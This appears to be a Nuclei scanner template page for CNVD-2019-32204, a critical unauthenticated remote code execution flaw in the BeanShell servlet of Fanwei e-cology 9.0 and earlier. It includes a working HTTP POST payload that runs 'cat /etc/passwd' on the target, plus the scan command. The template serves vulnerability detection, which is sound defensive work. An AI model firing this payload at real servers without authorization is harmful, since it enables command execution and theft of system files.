Fanwei e-cology <=9.0 - Remote Code Execution

ID: CNVD-2019-32204

Severity: critical

Author: daffainfo

Tags: cnvd,cnvd2019,fanwei,rce

Description

Fanwei e-cology <=9.0 is susceptible to remote code execution vulnerabilities. Remote attackers can directly execute arbitrary commands on the target server by invoking the unauthorized access problem interface in the BeanShell component. Currently, the security patch for this vulnerability has been released. Please take protective measures as soon as possible for users who use the Fanwei e-cology OA system.

YAML Source

id: CNVD-2019-32204

info:
  name: Fanwei e-cology <=9.0 - Remote Code Execution
  author: daffainfo
  severity: critical
  description: Fanwei e-cology <=9.0 is susceptible to remote code execution vulnerabilities. Remote attackers can directly execute arbitrary commands on the target server by invoking the unauthorized access problem interface in the BeanShell component. Currently, the security patch for this vulnerability has been released. Please take protective measures as soon as possible for users who use the Fanwei e-cology OA system.
  reference:
    - https://blog.actorsfit.com/a?ID=01500-11a2f7e6-54b0-4a40-9a79-5c56dc6ebd51
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: cnvd,cnvd2019,fanwei,rce

http:
  - raw:
      - |
        POST /bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("cat+/etc/passwd");&bsh.servlet.output=raw

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 490a00463044022059d413fc1361427cb30f9658f06064159d4f6c872bddaffc6bf7fcece83f070002202d7a80c4008e2da0aea77404379a2c704bc3b1c6022655c7b914cc87aa610f4b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cnvd/2019/CNVD-2019-32204.yaml"

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